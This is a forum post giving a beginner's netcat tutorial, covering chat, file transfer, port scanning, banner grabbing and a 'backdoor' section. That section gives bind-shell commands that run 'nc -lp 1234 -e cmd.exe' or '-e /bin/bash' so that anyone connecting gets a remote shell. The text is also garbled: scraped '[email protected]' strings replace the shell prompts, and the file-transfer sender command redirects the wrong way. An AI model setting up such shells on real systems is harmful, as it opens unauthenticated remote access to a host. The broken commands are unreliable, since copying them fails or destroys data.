0 like 0 dislike
in Code & Tools by (112 points)
  1. What is Netcat ?
  2. It's Features .
  3. Installation Method's
    • Window's Box.
    • Linux Box.
  4. Netcat One Many Army
    • Multiple Tool / Use Name.
  5. Netcat as Chat Server.
  6. Netcat as File Transfering Application.
  7. Netcat as Port Scanning Tool.
  8. Netcat as Banner Grabbing Machine.
  9. Netcat as Backdoor / Remote Pwning - Granting Access to Create, Edit, Delete and S***.
  10. Netcat as System-in-Law Conclusion.

NetCat

What is Netcat ?

Netcat is a tool, which can read and write data across any TCP and UDP Network connections, Now, when it has read and write mechanism for any TCP and UDP network connections, we can definitely juice out many stuff...

So, Let's See What it's Feature are :

Some of Netcat’s features are:

  • Outbound or inbound connections, TCP or UDP, to or from any ports
  • Full DNS forward/reverse checking, with appropriate warnings
  • Ability to use any local source port
  • Ability to use any locally-configured network source address
  • Built-in port-scanning capabilities, with randomizer
  • Built-in loose source-routing capability
  • Can read command line arguments from standard input
  • Slow-send mode, one line every N seconds
  • Hex dump of transmitted and received data
  • Optional ability to let another program service established connections
  • Optional telnet-options responder

this list was listed in vulnwatch.org website which no more exist.

So, After Getting to know all this feature, you may want to give it a try, so how to get them and Install them.

Installation Method's

Google Search Results for: Download Netcat

After you have Downloaded , How you can Run them :-

For Windows :-
- Unzip and Run your netcat.exe or nc.exe file, that's it,

For Linux :-
- Unzip and Go to Netcat Directory.

[email protected]# make 
[email protected]# make intall
or
[email protected]# apt-get install nc*
or
[email protected]# yum install nc* 

That's it, Now I assume you have running netcat with you, so I will take you to Netcat Discovery Channel.

Netcat is one Alone Tool, that can do multiple Work, and all thos work not limited to are.

Netcat One Man Army

  1. Netcat as Chat Server.
  2. Netcat as File Transfering Application.
  3. Netcat as Port Scanning Tool.
  4. Netcat as Banner Grabbing Machine.
  5. Netcat as Backdoor/Remote Pwning - Granting Access to Create, Edit, Delete and S***.

So, Let's Discuss all those Features.

1. Netcat as Chat Server

System A :-

c:\> nc.exe -lvp 1234
or
[email protected]~$ nc -lvp 1234    // This is for linux system 

System B :-

c:\> nc [system_A_ip] -vp 1234
or
[email protected]~$ nc [system_A_ip] -vp 1234  // This is for linux system 
  1. Netcat as File Transfering Application.

System A [Receiving the File]

c:\> nc.exe -l -p 1234 > [email protected]~$ nc -l -p 1234 > worldofhacker.txt 

System B [Sending the File]

c:\>nc.exe [system_A_ip] -p 1234 > krokite.txt
or
[email protected]~$ nc [system_A_ip] -p 1234 > krokite.txt 
  1. Netcat as Port Scanning Tool.

    c:> nc.exe -w2 -v -z [target_system_ip] 1-443
    or
    [email protected]~$ nc -w2 -v -z [target_system_ip] 1-443
    or
    c:> nc.exe -w2 -v -z [target_system_ip] 80,21,20,53,22,,25,110,143,443
    or
    [email protected]~$ nc -w2 -v -z [target_system_ip] 80,21,20,53,22,25,110,143,443

w means to wait.
v means verbose mode, that means display the way program is processing.
z is used for scanning purpose [Zero-I/O]
1-443 is port from 1 to 443, you can also specify like 80,81,82,21,22,20,53, etc..

4. Netcat as Banner Grabbing Machine.

c:\> nc.exe -vvn [target_ip] [port_number]

[email protected]~$ nc -vvn [target_ip] [port_number]
e.g, 
c:\> nc.exe -vvn 1.1.1.1 80
GET /HTTP 1.0/[email protected]~$ nc -vvn 1.1.1.1 80
GET /HTTP 1.0/ 

Press 2 times enter after you send GET Request.

For port 80 i.e, HTTP Request, you need to send mehod of Request like [GET, PUT, HEAD, etc.,]
you may change port 80 to 21 or any other , than you dont have to type GET request.

if you want to use domain name instead of ip than remove n from -vvn, just use as -vv

5. Netcat as Backdoor/Remote Pwning

System A

c:\> nc.exe -lp 1234 -e cmd.exe
or
[email protected]~$ nc -lp 1234 -e /bin/bash 

System B

c:\> nc.exe [system_A_ip] 1234
or
[email protected]~$ nc [system_A_ip] 1234 

System in Law - Conclusion

Hacking is Illegal, But Penetration testing with complete authority is legal. Do not use Given knowledge to attack or Harm any person, if you do so, I [KroKite] or Worldofhacker.com will not be responsible for what you do with this knowedge.

Thats it. Good Luck

Search more, explore more.. Here are few google output from my side :-
Resource Center
Google Search Results for: Download netcat
Google Search Results for: Netcat Swiff army knife
Google Search Results for: http://www.jfranken.de/homepages/johannes/vortraege/netcat_inhalt.en.html - Recommended, and there are many more..

Please log in or register to answer this question.

...